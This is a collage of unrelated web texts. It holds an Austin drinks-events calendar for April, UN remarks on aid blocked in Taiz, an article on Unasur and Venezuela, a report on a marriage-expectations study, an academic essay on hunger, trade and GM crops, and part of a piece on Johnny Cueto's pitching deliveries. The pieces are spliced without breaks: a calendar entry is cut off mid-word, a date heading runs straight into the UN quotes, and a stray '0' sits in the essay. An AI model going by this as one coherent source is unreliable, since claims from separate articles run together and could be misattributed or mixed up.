The Craft Series at the Driskill, 6 to 9 p.m. This month’s beer pairing dinner at the Driskill’s 1886 Cafe & Bakery will feature brews from the DFW area’s Community Beer Co.
Wednesday, April 12
Hops & Games at Hops & Grain, 6 to 10 p.m. It’s the monthly board game night at the brewery; you can either bring your own or play some of the games provided.
Meet the Brewer: BOM Brewery at Mort Subite, 6:30 to 9:30 p.m. Bert Van Hecke of BOM Brewery, which does all its own malting, will be at the Belgian beer bar with a curated selection of BOM beers.
Thursday, April 13
Spring Wines & Chocolate Pairing, 6:30 to 8 p.m. Chocolaterie Tessa is partnering with Mark Rashap, of KOOP Radio’s Anothe Bottle Down, for this delectable tasting. $55.
Friday, April 14
Flight of the Baptist at Flying Saucer, 11 a.m. There will be a mouthwatering flight on offer of all Epic Brewing Big Bad Baptist variations, including Son of the Baptist and Baptista.
Saturday, April 15
Austin Beerworks Sputnik Event at Pinthouse Pizza, 11 a.m. Sputnik and all of its variations, as well as another Austin Beerworks brew or two, are going on tap for this celebration of the Russian imperial stout.
2nd Annual Crawfish Boil at Whip In, 12 to 8 p.m. Get to the party promptly at noon for a cheap early-bird beer menu and enjoy crawfish and New Orleans-style music all afternoon. $24 for two people.
Live Oak Brewing’s 20th Anniversary Party, 12 to 10 p.m. Enjoy food truck grub from Quality Seafood, Texas Chili Queens and others while toasting to the East Austin brewery’s big birthday.
Monday, April 17
Rosé Tasting at the Austin Shaker, 6 to 9 p.m. Drink pink with the East Austin liquor store, which is hosting a tasting of several different rosé wines from France and the Pacific Northwest.
Wednesday, April 19
Brewery Rep Death Match at Flying Saucer, 6 to 9 p.m. Two Colorado breweries, Odell Brewing and Avery Brewing, are facing off for pride and glory, with much swag to be had for the spectators.
Spirit Tasting & Class: Scotch Edition at Craftsman, 7 to 10 p.m. Craftsman’s boozy classes exploring various spirits continue, this time with a focus on Scotch from Glenlivet. $22.09.
Thursday, April 20
ATX IPA Throwdown, 4 p.m. Star Bar has created what is sure to be a heated competition, with some of the city’s favorite IPAs going hop to hop against each other.
Austin Beer Guide Release Party, 6 p.m. The spring and summer issue of Austin Beer Guide is releasing at this Draught House party that will have special tappings and more.
4/20 Fest at Banger’s, 6 to 9 p.m. Celebrate the quintessential stoner holiday with beer, with a tap list that includes such themed suds as Sweetwater Hash Session and Independence’s Hop Brownie.
Saturday, April 22
Friends & Allies Brewing’s Grand Opening, 12 p.m. Celebrate the official opening of the East Austin brewery with all your favorite Friends & Allies beers.
Real Ale’s 21st Birthday Kegger, 12 to 5 p.m. This old-school kegger is a nod to the days when beer was simpler, so for this year’s anniversary beer, simply being called 21, expect a pre-Prohibition lager. $20.
Texas Keeper Cidery’s Earth Day Gardening Party, 12 to 5 p.m. Learn about tree grafting, heirloom plants and more while enjoying the cidery’s second collaboration cider with Blue Owl Brewing. $4.
Sunday, April 23
Geraldine’s On Deck, 5 to 8 p.m. Relax poolside at the Hotel Van Zandt, where you can sip cocktails made with Treaty Oak Distilling spirits and listen to hot tracks from Mixer Rogers.
Tuesday, April 25
Boston to Austin Tap Takeover at Whip In, 5 to 10 p.m. Infamous Brewing and Samuel Adams collaborated on a beer together, the BOSxAUS, a smoked oyster stout. It’s tapping along with other beers from Infamous and Samuel Adams.
Whiskey and Cheese Pairing at Craftsman, 7 to 8 p.m. Teeling Irish Whiskey will prove that wine isn’t the only alcoholic beverage that can pair with one of our favorite foods. $16.82.
Wednesday, April 26
Whiskey Roundup at TenOak Bourbon House & Lounge, 6 to 9 p.m. You’ll get to try six of a variety of different whiskeys and meet the makers behind them; plus, food and cocktails available for purchase. $15 in advance; $20 at the door.
Friday, April 28
Dapper Devil Bottle Release at Blue Owl Brewing, 12 to 10 p.m. Love the raspberry Belgian strong ale that sour mashing brewery Blue Owl makes? It’ll be in bottles, with a limit of one case per customer.
Austin Food & Wine Festival, 5 p.m. Friday through 5 p.m. Sunday. The fest returns to Auditorium Shores with top chefs, savvy sommeliers and talented winemakers from across the country. $250-$625.
Saturday, April 29
Zilker Brewing’s 2nd Anniversary Party, 12 to 6 p.m. The East Austin brewery will have an extended tap list in honor of its birthday, as well as live music, food and more.
Return of Tiki at Treaty Oak Brewing & Distilling, 12 to 10 p.m. D
Love Belgian Beer Fest, 1 to 8 p.m. Taste local Belgian-style brews and authentic imports, as well as enjoy live music and comedy, for a good cause. The event benefits the Boys & Girls Club of Austin. $53.74-$111.77.
Sunday, April 30
UN Under-Secretary for Humanitarian Affairs and Emergency Relief Coordinator Stephen O’Brien said that months of fighting has left some 200,000 civilians in a virtual state of siege in need of drinking water, medical treatments and other life-saving assistance and protection.
“Al-Houthi and popular committees are blocking supply routes and continue to obstruct the delivery of urgently needed humanitarian aid and supplies into Taiz City”, O’Brien said.
"Despite repeated attempts by UN agencies and our humanitarian partners to negotiate access and reach people, our trucks have remained stuck at checkpoints and only very limited assistance has been allowed in", he added.
"This is unacceptable. I call on all parties to work with the United Nations and other neutral and impartial organizations to urgently facilitate the delivery of life-saving assistance and protection to civilians and the safe and unhindered access of humanitarian workers to Taiz City, without further delay", he said.
The host government of Rafael Correa, then flush with oil money, agreed to finance the planned construction cost of $66m. It is a grand architectural statement. But it is still half-empty, and its splendid conference rooms are sparsely used. The building poses a question: just what is the point of Unasur?
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Formed in 2008, its origins lie in the South American Community, a Brazilian-inspired push to merge Mercosur and the Andean Community, two would-be common markets, and to develop cross-border infrastructure linking the countries of South America. Under the influence of Hugo Chávez, Venezuela’s socialist strongman, the group changed both its name and its purpose. It shed its economic mission in favour of “political co-operation”. The more or less explicit aim was to displace the Organisation of American States (OAS), whose members include the United States and whose headquarters are in Washington.
Unasur has set up ministerial councils on issues such as defence and health. It has dispatched a dozen missions of electoral “accompaniment”, which are less intrusive and rigorous than the observers sent by the likes of the OAS or the European Union. It facilitated talks between government and opposition in Bolivia in 2008 and in Venezuela last year. And it blessed, without investigation, the narrow victory of Nicolás Maduro, Chávez’s heir, in Venezuela’s presidential election of 2013, a result questioned by the opposition.
Ernesto Samper, a former president of Colombia who became the organisation’s secretary-general last year, says Unasur reflects “a political scenario” in which most South American leaders are “socialist, left or progressive”. Its job is to promote three goals: keeping South America a region of peace, avoiding “democratic ruptures” and defending human rights, understood to include “socioeconomic rights” and the fight against poverty and inequality. Thus the group’s “democratic clause” is not linked to respect for the separation of powers, but rather to “the real validity of social rights”.
To its critics, that looks like an apology for the autocratic regimes of the left in Venezuela, Bolivia and Ecuador, which have seized control of their countries’ courts, electoral authorities and other formally independent institutions. “None of them is prepared to stand up to Venezuela,” says José Antonio García Belaunde, a former foreign minister of Peru. The scope for political co-ordination is minimal, he adds, because South American countries agree about so little. “They don’t share a mission or a vision.” In practice, the seeming left-wing consensus to which Mr Samper refers conceals big differences of outlook.
Its defenders argue that, by eschewing public criticism of member states, Unasur manages to keep open doors that would otherwise be closed to dialogue. Brazil, for example, sees Unasur as “a low-cost, low-maintenance forum” to prevent disputes in its continent from getting out of hand, according to Matias Spektor of the Fundação Getulio Vargas, a think-tank.
Unasur now faces the biggest test of its short life. If previously reliable opinion polls are to be believed, Venezuela’s opposition should easily win a parliamentary election on December 6th. It is not hard to see why: thanks to Mr Maduro’s mismanagement, incomes are plunging, many goods are in short supply and the health service is collapsing. Since the regime has jailed some of its leaders and barred others from standing, the opposition fears that the government will steal the election. Mr Maduro has refused an offer by the OAS’s new secretary-general, Luis Almagro, to send observers.
Unasur claims credit for persuading the government to fix a date for the election (though others, including the United States, which has been holding sporadic talks with Venezuelan leaders since April, also pushed for this). It plans to send a mission of officials from the continent’s electoral authorities ahead of the poll. But how robust will it be?
Enlarge this image toggle caption Alberto Ruggieri/Illustration Works/Getty Images Alberto Ruggieri/Illustration Works/Getty Images
Psychologists disagree on whether expecting your marriage to be a deeply fulfilling relationship makes it more likely that the union will thrive, or that it will doom you to disappointment.
So, psychologists, should we just go ahead and expect the worst after the honeymoon?
Only if that matches your capacity to deliver on expectations, according to a study published Wednesday in Personality and Social Psychology Bulletin with the deflating title, "Should Spouses Be Expecting Less From Marriage?"
Expecting a lot can make a marriage more satisfying, the study finds, but if people can't meet those expectations — whether for lack of time, effort or social skills — the relationship will suffer.
The study examines the premise that modern-day couples load too many expectations onto the institution of marriage — that it will meet their needs for intimacy, autonomy and friendship, to name just a few.
To explore that premise, James McNulty, a professor of psychology at Florida State University, tracked the relationships of 135 couples in eastern Tennessee for four years, starting when they were newlyweds.
The participants periodically completed individual surveys on their expectations for the marriage and their level of satisfaction. The couples also were videotaped talking over points of contention in the marriage, to gauge their verbal communication skills.
The marriages in which spouses were able to work well together, including being direct about what their partner did that made them mad and what they wanted that partner to do about it, were more likely to feel that the marriage met their high expectations for happiness.
But people in marriages where a spouse resorted to indirect hostility — things like sarcasm, mind reading and hostile jokes — were less likely to feel things measured up.
Indirect hostility leaves a partner wondering what the heck is wrong, McNulty said via email. "That is why it is problematic; it conveys discontent without providing the partner with clear information about how to address the underlying issue."
But here's the rub: If those couples had low expectations for marriage from the get-go, they didn't become significantly less happy. Their expectations were fulfilled.
The question, then, is how to match one's expectations with one's ability to deliver.
There are two options, McNulty says.
"One is to try to fix the marital problems. Marital therapists can help with this. Talking about the underlying issues can also help. These are the best options if problems are fixable."
And if those problems aren't fixable? "You can understand, realize and accept that you will not be able to achieve all the benefits you have been demanding out of marriage," McNulty writes.
University of Kassel
A t first glance we can be forgiven for thinking that there simply is not enough food to feed everyone in the world, that there are simply too many people and that the carrying capacity of the planet is exhausted. Looking to the future one can only imagine this problem worsening as the number of people grows and the land available for agriculture shrinks as a result of desertification and rising sea levels, to say nothing of environmental degradation due to the overuse of chemical fertilisers, insecticides and pesticides; concomitants of large-scale, ‘industrial’ agriculture.
It would appear sensible, therefore, in any discussion on food security[1], to begin by examining the relationship between population and hunger. A subject that "has been hotly debated since Thomas Malthus published his ‘Essay on the principles of hunger’ in 1798"[2]. Malthus argued that "while population grows exponentially, food production grows only arithmetically, inevitably moving us toward scarcity and famine".[3] Appealing as Malthus’ theory may be in terms of explaining the growing number of people suffering from malnutrition and endemic hunger, the facts suggest otherwise. As Peter Rosset informs us, "over the last 35 years, global per capita food production has outstripped population growth by 16 per cent. We now have more food available per person than ever before in human history".[4] Whilst according to Lappe, et al, there is enough food available to provide "every person with 4.3 pounds of food every day: 2.5 pounds of grain, beans and nuts, about a pound of meat, milk and eggs and another of fruits and vegetables".[5] Indeed, Rosset goes on to argue that "one of the greatest problems faced by the world’s farmers is over production, which results in low farm prices".[6] This disincentive for food growers is counter balanced in the USA and European Union by the use of liberal subsidies, not to mention waste as every year tonnes of food are literally dumped. Such ‘luxuries’ are clearly not available to the majority of countries where most of the world’s hungry live.
Based on the above information, there appears to be no real scarcity of food. What, then, can be said to be the causes of hunger and starvation? A Panos briefing paper provides us with the following answer:
it is now widely accepted that food insecurity does not result from an absolute shortage of food, but has economic roots. Some analysts believe that the world already produces adequate food and can continue to do so with traditional techniques, but that the food is unevenly distributed. The single most important cause of hunger is poverty. The FAO, while accepting that ‘low productivity in agriculture’ is one of the principle causes of under-nutrition and food-insecurity, identifies poverty and policy constraints as more important causes of low productivity than inadequate technology. The causes and consequences of food insecurity and poverty are inextricably linked.[7]
If we are prepared to accept that there is, in fact enough food available for everyone, then we also have to accept that we are faced with a problem, not of scarcity but of distribution. Something that is pretty well accepted by institutions such as the IMF, World Bank and WTO.
Increasing Trade
The IMF, World Bank and WTO solution to the problem of distribution is to argue for greater liberalisation of Less Developed Countries’ (LDC) markets. Allowing market forces free reign, they argue, will result in the optimum distribution of resources as well as improving efficiency in production. What they fail to see, however, is that in a capitalist market economy, distribution is determined by ability to pay; i.e., those with the money get the resources, those without, do not. Thus, access to food is not a matter of availability or need, but rather of wealth. Put another way, hunger is caused not by scarcity but by poverty, a problem that is by no means restricted to LDCs. Questions of hunger and food security are, therefore, questions of poverty. If we are to solve the problem of hunger, we need first to solve the problem of poverty.
As we saw above, access to food and other resources is not a matter of availability, but rather of ability to pay. Put bluntly, those with the most money command the most resources, whilst those with little or no money go hungry. This inevitably leads to a situation whereby some sections of humanity arguably have too much and other sections little or nothing. Indeed, globally the richest 20 per cent of humanity controls around 85 per cent of all wealth, whilst the poorest 20 per cent control only 1.5 per cent. As Geofrey Lean wrote in the British Sunday newspaper, the Observer, in 1989:
Whilst Americans (sic) spend US$5 billion each year on special diets to lower calorie consumption, the world’s poorest 400 million people are so under nourished that they are likely to suffer stunted growth, mental retardation or death. As Water from a single spring in France is shipped to the prosperous around the world, 1.9 billion people drink water contaminated by parasites and pathogens.[8]
This situation is further compounded by a number of factors, such as IMF and World Bank lending strategies as well as the increasing tendency for the world’s wealth to be concentrated in ever fewer hands, notably those of multinational corporations.
Food vs. Profits
As an indication of the economic power enjoyed by multinational corporations, a 1995 study by the Institute for Policy Studies (IS) provides us with the information that: "of the top 100 economies in the world, 51 are corporations, only 49 are countries ... The top 200 corporations combined sales are bigger than the combined economies of all countries minus the biggest 9; that is they surpass the combined economies of 182 countries." IS go on to point out that the twelfth largest corporation, Wal-Mart, had annual sales greater in value than the GDPs of 161 countries.
Looking at how this economic power translates into real terms, we see from the following table that the vast majority of the world's trade in commodities is accounted for by a handful of transnational corporations.
Table 1. Corporate Control of Global Commodity Trade, 1983
Commodity World Exports ($ million) % marketed by 3-6 largest transnationals* Food Wheat 17,851 85-90 Sugar 10,636 60 Corn 9,833 85-90 Coffee 9,636 85-90 Rice 3,613 70 Cocoa Beans 2051 85 Tea 1,844 80 Bananas 1,324 70-75 Pineapples (fresh) 74 90 Agricultural raw materials Forest products 47,255 90 Cotton 6,567 85-90 Tobacco 4,239 85-90 Hides and skins 4,047 25 Natural Rubber 3,321 70-75 Jute 135 85-90 Ores, minerals and metals Mineral fuels 382,685 75 Copper 8,287 80-85 Iron ore 6,231 90-95 Tin 2,230 75-80 Phosphates 1,588 50-60 Bauxite 833 80-85
* In a few cases up to 15 transnational traders account for the bulk of the market.
It is, however, not only in trade that the economic power of transnational corporations can be seen. In Britain it is widely acknowledged that the top five supermarket chains are not only able to decide what is available and at what price, they also exercise enormous influence over what is actually grown. The scale of their buying powers allows these chains to dictate to farmers the prices that will be paid for produce as well as what produce the farmers can sell. This has lead to a loss of many species of fruit and vegetables in Britain, not only from supermarket shelves, but also from agricultural existence as supermarkets tend to be more concerned with the appearance of the produce they sell rather than the quality or taste. Thus, all produce that does not fit with the giant retailers’ idea of ‘perfect appearance' is rejected and growers learn to grow only the produce that the supermarkets will buy.
In Less Developed Countries the problem of land use is even more acute. Whilst the majority of food produce tends to be grown on small, subsistence farms, the bulk of the best agricultural land is used for the growing of cash crops. Partly a legacy of colonial policies, partly a result of the debt problem and IMF and World Bank solutions to this problem, we find that people in the LDCs, particularly the rural poor, are going hungry whilst the bulk of these countries’ agricultural output is exported to Europe and the USA.
Under colonialism, the colonial powers used a number of measures to enforce the growing of agricultural produce that could be used in the industries of the colonial powers. For example, by imposing taxes on rural populations that had to be paid in money, these rural populations were forced to grow cotton, coffee, cotton wool, rubber, etc., which were sold at set prices to the colonial powers. The raw materials would then generally be exported to the home country where they would be utilised in production. The finished products, as well as being sold on the domestic market, would also be re-exported to the country from which the original raw material came. Apart from in a few cases where the colonial power might actually set up wholly owned manufacturing plants in the colonised area, manufacturing or processing was forbidden. This is, of course, one reason for the extremely low level of development in many LDCs, particularly African countries, most of which only gained their independence in the last fifty years.
Since independence, the economic relations between most African countries and their former colonial powers have hardly changed at all. Coming to independence with little or no industry, the only source of foreign income for most was continued export of raw resources and borrowing, with the latter leading to the serious debt situation that cripples so many LDCs today.
The "structural adjustment" policies laid down by the IMF and World Bank as conditions for obtaining help from these organisations have, it is widely acknowledged, had a devastating effect on the already suffering economies of virtually all countries forced to borrow money under these auspices. It also has to be said that countries failing to have the IMF/IBRD ‘seal of approval’ will find it impossible to find either other sources of credit or, of perhaps greater importance, attract any kind of FDI. Since any country not approved by these agencies will be deemed too great a risk.
Whilst no one would argue with the fact that there is/was a real need for some kind of economic and, indeed, political restructuring in most LDCs, the conditions imposed by the IMF and IBRD could not be expected to do otherwise than exacerbate an already serious condition. The number and details of adjustment measures are too great for the scope of this paper. There are, however, a number that are relevant to the issue of food security. Amongst these is the stipulation that countries receiving Structural Adjustment Loans (SALs) must concentrate on increasing their exports so as to increase their income of ‘hard’ currency, needed for servicing their debts. The IMF priority here is to sort out BoP deficits as fast as possible. For the majority of countries, particularly those on the African continent, this means increasing their production and exports of cash crops, raw materials for use in ‘developed’ countries’ industries.
Another condition also designed to increase exports and bring more money into LDCs, is the devaluation of currencies. So as to make exports more attractive on the global market, countries receiving SALs have had to devalue their currencies, something that was arguably necessary in many countries. However, currency devaluation in conjunction with liberalisation, especially if we bear in mind that a large number of countries - all exporting the same crops - have been subject to these structural adjustments, has led to a marked drop in income in most ‘beneficiaries’.
Thus, devaluing currencies automatically mean the exporting countries earn less. Furthermore, an obvious consequence of having a large number of, for example, coffee exporting countries all increasing their exports simultaneously, is for the market price to go down. This has indeed been the case. Oxfam’s Kevin Watkins writes that whilst sub-Saharan African countries doubled their exports over the 1980’s, their share of world trade halved, from 4 per cent to 2 per cent.[9]
Also among the SAL conditions of interest to us here, are stipulations calling for extreme cutbacks in government spending along with measures to increase revenue from the population. In real terms this has meant a reduction or complete loss of government subsidies to agriculture, meaning that small farmers are no longer able to afford costly inputs such as fertilisers and pesticides. Governments have also been forced to levy charges for utilities such as water and health services, thereby putting clean, potable water out of the reach of the majority of the rural poor.
Taken together what we have is a situation whereby the best agricultural land is being used for the growing of cash crops to raise hard currency to service unpayable debts, whilst farmers trying to grow food crops are often left with land virtually unfit for agriculture. Coupled with this is the further IMF/IBRD condition that those countries receiving Structural Adjustment Loans must fully ‘liberalise’ their economies, opening their markets to imports of all kinds, including food. Thus we are left with a situation where, for example, the European Union with a glut of agricultural produce, is able to find needy markets for this produce where it is sold below the normal prices. This, of course, has the effect of undercutting local small farmers who, unable to compete with the agro-industry of the EU, are forced out of business. As a result, the number of people unemployed and living in poverty grows. In the words of former Haitian Prime Minister, Jean-Bertrand Aristide:
3.1 billion people make their living from agriculture. Their lives are on a collision course with globalisation. They cannot compete with industrial western agriculture with its heavy use of pesticides and fertilisers. And yet the world economy is not creating new jobs for them. What will they do?[10]
The effects, then, of increasing production of agricultural produce for export together with liberalisation of their economies mean that LDC’s, despite being mostly capable of being self-sufficient in food, are left having to import food from the EU and USA, Whilst the same liberalisation strategies are leading to an increase in unemployment and urban poverty as the dispossessed rural poor are forced to migrate to cities. Ironically, we find that even those countries whose main export crops are food produce, are in this absurd situation. Looking at this somewhat more closely we see that many countries are exporting highly nutritious foodstuffs, such as pineapples, bananas, nuts and pulses; and importing high calorie foodstuffs with little nutritional value, mainly wheat, at prices that, although extremely low, are nevertheless beyond the reach of the meagre or non-existent incomes of the poor. As Michael Barratt Brown reports:
This results in serious protein shortages in the diets of many Third World people: 60 per cent were said in 1967 to be short of protein, 20 per cent to be short of calories, while the rich in the First (and equally in the Third World) eat too much of both. Some 40 countries have inadequate supplies for their own peoples' calorific requirements, let alone protein needs, and yet they are net exporters of food.[11]
Whilst a report from Corporate Watch argues that,
More and more basic foods are being imported following trade liberalisation and the concentration on export crops. Devaluation of local currencies, removal of food subsidies and frozen wages (another condition of SAPs) saw food prices ‘internationalised’ to well beyond the reach of the people. In Mozambique food prices rose by 400 — 600 per cent as a consequence of these policies.[12]
Thus We can see that increased liberalisation of markets, whilst increasing the overall volume of world trade, not only does nothing to help those already suffering the effects of extreme poverty, it actually serves to increase this number. At the same time, however, the profits of the those multinationals involved in this trade continue to grow. Traders such as Cargill and Continental, for example, are buying wheat at "$60-100 per tonne from India and selling it at $230-240 per tonne on the international market, making a neat $130-170 profit per tonne, while India is losing $100 million in exports because of the concentration of power in the hands of five merchants of grain".[13] It is, therefore, hard to imagine that further increases in trade will result in any benefits for those most in need, but rather will merely serve to swell the coffers of the already disproportionately wealthy.
Another topical ‘solution’ to the problem of food security comes in the form of GMO — genetically manipulated organisms. Currently being pushed by a handful of multinationals, as well as the USA government, GMO is being ‘sold’ to sceptical populations in northern Europe and the USA, as the answer to the food security problems of tomorrow. Only through genetically manipulated produce, argue concerns such as Monsanto, will it be possible to ensure the availability of enough food in the future. Crops that are resistant to pests and herbicides will, they argue, also serve to protect the environment through the use of fewer chemicals. Monsanto tells us that biotechnology will:
- increase crop yields, thereby reduce pressure to expand into wilderness, rain forest or marginal lands which support bio-diversity and vital ecosystem services;
- reduce post-harvest loss of food (caused by disease, pests and decay) and improving the quality of fresh and processed foods, thus boosting the ‘realised nutritional yield’ per acre;
- displace resource and energy intensive inputs, such as fuel, fertilisers or pesticides, thus reducing unintended impacts on the environment and freeing those resources to be used for other purposes or to be conserved for the future;
- encourage reduction of environmentally damaging agricultural practices and the adoption of more sustainable practices such as conservation tillage, precision agriculture and integrated crop management;
- stimulate a new kind of economic growth: more benefit with less throughput and harm.[14]
If we look a little more closely at the facts, however, we see that all is not the way Monsanto would have us believe. For example, GMO crops are only suitable for large, industrial scale farming, whereas, as we have seen, the bulk of LDC food producers are actually small farmers. The monoculture farming practices involved in the growing of GMO crops has proved to be disastrous for the environment, quickly exhausting the soil and, therefore, requiring the use of costly chemical inputs.
In addition to the problems normally associated with large-scale industrial agriculture, biotechnology brings its own brand of problems. Critics fear, for example, that crops genetically modified to contain pesticides such as Bt, could lead to the appearance of Bt resistant pests. The argument is that constant exposure to the Bt protoxin will eventually lead to insect pests developing immunity to this pesticide, leading to strains of ‘super bugs’. According to studies from the NGO Genetic Resource Action International (GRAIN), Bt resistant insects are already present in the USA and other countries.[15]
The point here, however, is not to provide an analysis of biotechnology, rather we are interested in examining claims that the genetic manipulation of food crops will solve the problems of hunger. Critics claim that in the longer term GM crops are likely to lead to more and greater problems. Herbicide resistant crops, for example, will lead to over-reliance on a single herbicide in any one given area. This, it is argued, will ultimately result in weeds developing resistance to the particular herbicide, necessitating ever greater use of chemicals. According to Dr Steinbecher of the Women’s Environmental Network,
If spraying occurs regularly, there is every reason to believe that weeds in or near fields of genetically engineered crops would develop resistance to the herbicide - as weeds become resistant, higher and higher doses of herbicide would need to be used, leaving larger and larger amounts of chemical residue on the crops.[16]
0 Whilst A report by the Pesticides Trust suggests that increased use of weed killers such as glyphosate and glufosinate could lead to the contamination of water. These compounds, they argue, are highly toxic for fish, an invaluable source of protein in many LDCs.[17]
Another area of concern is the likely loss of biodiversity GM crops would engender. Both through the use of herbicides that would kill all plants other than those genetically engineered to be resistant, and through the replacement of several different varieties of crop plant with one GM crop. Indeed, the dangers of mono cropping using a limited range of chemical pesticides and herbicides has long been known. In 1975, for example, Indonesian rice farmers lost half a million acres of rice to damage caused by the rice hopper insect.[18] Protection of biodiversity, on the other hand, also provides protection against such natural problems as drought, disease and insects, since different plant varieties have evolved to survive under different conditions.
Biggest is not Best
It would appear, then, that neither further trade under the current conditions nor GM crops offer a viable solution to the problems of poverty and hunger. This being the case, perhaps we should turn our attention away from grand-scale solutions and look instead at the benefits of thinking small. A great deal of recent research indicates that far from being the root of the problem, as proponents of industrial agriculture would suggest, small scale farming offers us the only real solution to the problem of food security.
Small farms tend to be both more productive and more efficient when regarded from the perspective of nutritional value per acre. According to Peter Rosset, small farms in LDCs are between 200 and 1000 per cent more productive per unit area than large farms.[19] Unlike the mono cropping associated with large scale, mechanised agriculture and GM crops, small farmer tend to practice inter-cropping - sowing not just one crop in any given area, but rather utilising the space between for a variety of different crops. Not only does this provide farmers with more crops per acre, it also reduces or even eliminates the need for costly chemical inputs.
Whilst large scale mono cropping may produce more of one particular crop per acre, the rows in between are left empty and, therefore, vulnerable to infestations by weeds. Inter cropping, through unitising this otherwise empty space, prevents weeds from gaining a hold and also serves to provide a variety of nutritious food crops. Furthermore, it also helps to protect biodiversity, which can help to provide protection from pests, both in terms of removing reliance on just one crop and insofar as a variety of plants can provide a home for other insects and wildlife that feed on pests. Indeed, "over 90 per cent of all pesticides in West Africa are used on export plantations ... Food producers are often the poorest farmers and simply cannot afford the cost.[20]
As well as the benefits mentioned above, small farms also benefit the local community and are an invaluable spur to real economic and social development.. Small farmers generally live on their farms, selling their produce at local markets and buying their supplies from local merchants, generating local wealth that is also spent locally. Where small farms are prevalent, so too are thriving local communities, as trade generates trade. As Rosset argues,
In towns surrounded by family farms the income circulates among local businesses, generating jobs and local prosperity. Where family farms predominate, there are more local businesses, paved streets and sidewalks, schools, parks, churches and clubs as well as better services, higher employment and greater civic participation."[21]
Conclusions
The question of food security is clearly more complex than simply providing enough food for the world’s growing population; we already have enough food yet there are still millions of people suffering the effects of hunger and poor nutrition. As we have seen, hunger is essentially a question of poverty: people are starving simply because they cannot afford to buy food. Current attempts at solving the problems of poverty and hunger are merely serving to further exacerbate the situation, widening the gap between rich and poor and using the resources of those who suffer most the effects of poverty and starvation to further enrich those who already have too much.
Reversing this situation will involve a radical rethink regarding the role and purpose of trade, as well as fundamental shifts in patterns of land use. The current situation that sees the best agricultural land in the bulk of the world’s poorest countries used for the growing of cash crops that only benefit the wealthy, is nothing less than criminal. At the heart of any real solution, therefore, is the question of land reforms. Land currently used for mono cropping cash crops must be made available to the dispossessed: the landless rural poor and the urban unemployed. Small farming should be encouraged, with the emphasis being on local, ecologically sustainable production for local consumption.
Land reform, however, is not enough as long as the markets of the poorest countries remain open to the cheap agricultural surpluses of the rich ‘North’, there will be little incentive for local producers to grow food. There is a real need, therefore, for the imposition of trade restrictions, imposing tariffs that would render imported foodstuffs more expensive than those produced locally and exporting only genuine surplus.
Whilst there are many obstacles to such reforms, the biggest is arguably debt. Cancellation of "Third World" debt must, therefore, be a priority. It is, however, hard to imagine such action originating in the countries of the ‘rich North’ that profit so handsomely from the present situation. Impossible as it may seem, it would appear that the only hope lies in co-ordinated action from LDCs; a mass refusal to pay their debts. At the end of the day, addressing the problems of -and associated with poverty, requires a complete re-ordering of the Global Political Economy.
Finally, whilst the problem of hunger is not a question of overpopulation at the present time, as human numbers continue to grow there can be little doubt that we will have to face genuine shortages in the not too distant future. All available evidence demonstrates that as the wealth in a society increases, population growth slows accordingly. Addressing the problem of poverty will therefore not only provide everyone with an adequate food supply now, but will also ensure the security of our food supply for the future.
Martin Wittenberg's peer review of Ross Copeland's article, sollicited by Mots Pluriels .
Plublished with the authorisation of the reviewer.
Notes
[1] Food security can best be defined as providing everyone with adequate, safe, nutritious food.
[2] Peter Rosset, Now Serving 6 Billion Empty Stomachs in a Land of Plenty, on line at, http://www.foodfirst.org/media/opeds/1999/8-15-sfc.html
[3] Ibid.
[4] Frances Moore Lappe, Joseph Collins and Peter Rosset World Hunger: Twelve Myths, 2nd edition, Grove Press and Earthscan, 1998.
[5] Ibid.
[6] Ibid.
[7] Panos media briefing No 30A, February 1999. p. 11
[8] "Poverty Booms in the Greedy 1980's". Geofrey Lean, The Observer, November 19, 1989.
[9] Kevin Watkins, "We're Not Doing Anyone Any Favours", New Statesman & Society, 8 April 1994.
[10] Jean-Bertrand Aristide., Eyes of the Heart, p.47, Common Courage Press, 1999 .
[11] Michael Barrat Brown, Fair Trade, 1993, p.28
[12] Corporate Watch, Globalization & Corporate Rule | Corporate Power | TNCs Stride the World, http://www.corpwatch.org/trac/globalization/corp/stride.html
[13] Third World Network, "Globalisation of Agriculture and rising food insecurity".
[14] Robert Horsch, Director of Technology at Monsanto, speech at the Prince of Wales Business and the Environment programme, Salzburg, Austria, September 15, 1997
[15] PANOS media briefing No 30A, February 1999.
[16] Ricarda Steinbecher, The Ecologist, vol. 26, November/December 1999.
[17] Pesticides Trust, The Price of Resistance, November 1996
[18] Panos media briefing, op cit.
[19] Peter Rosset, New Internationalist, no. 323, May 2000
[20] Ibid.
[21] Ibid.
Ross Copeland is currently Lecturer in English for Economists at the University of Kassel, Germany. He offers four courses, including one in Development Economics, that combine English language with critical analysis. Born in South Africa, he grew up and was educated in Britain. Although currently living in Germany, he hopes to return to South Africa relatively soon. His chief academic interests lie in the fields of International Relations and the workings of the Global Political Economy and his research has been Influenced by the Historical Materialist/Neo-Gramscian school of thought. "I believe in the liberalising role of education and the importance of choice and I feel it important that the social sciences be involved in improving the quality of life for all people on the planet, not merely restricted to a role of description and documentation. These ideas inform both my research and my teaching" he says.
Other times great players are great for less obvious reasons. Take Johnny Cueto: He’s got solid stuff and excellent command; he gets a lot of groundballs and doesn’t allow many home runs; he pitches to contact and fields his position well; he racks up strikeouts when needed and hits 95 in the eighth inning; he’s death to the running game.
Oh yeah, and he also has like 37 different deliveries. Here are those deliveries.
The Quick Pitch
Non-Stretch Usage: 70 percent
This is Cueto’s go-to option in 2016. It starts out looking like your normal wind-up, but then, like Sam Miller once wrote, “it’s like Cueto is a film editor and he just decides to snip frames 30 through 64 from the reel.”
It usually looks like this,
but sometimes looks like this:
Sometimes Cueto will speed up this delivery another notch, almost in an attempt to out-quick his usual quick pitch. Other times he’ll slow things down a bit, seemingly always toying with his tempo. Other times still Cueto will tinker with his quick pitch delivery so thoroughly that it must be documented and re-categorized.
The Quick Pitch Subset
The Delayed Quick Pitch
Approximate Times Attempted: 9
This is where Cueto moves his left foot to start his delivery, then, before finishing things, abruptly stops midway through.
Occasionally he decides to start over.
The “Something”
Approximate Times Attempted: 2
Giants’ play-by-play guy Duane Kuiper said Cueto added a little . . . something to his delivery here, and that’s about the best way it can be described.
The Twist
Non-Stretch Usage: 30 percent
This is now Cueto’s secondary look, and he breaks it out whenever the mood strikes. There are variations, of course, but the meat-and-potatoes version looks like this:
The Twist Subset
The Delayed Twist
Approximate Times Attempted: 6
Like its cousin, the delayed quick pitch, this offering features Cueto halting mid-delivery.
The Hybrid Twist
Approximate Times Attempted: 9
This is sort of an abbreviated twist, almost like a quick twist. Hence, the hybrid:
The Twist and Pause
Approximate Times Attempted: 8
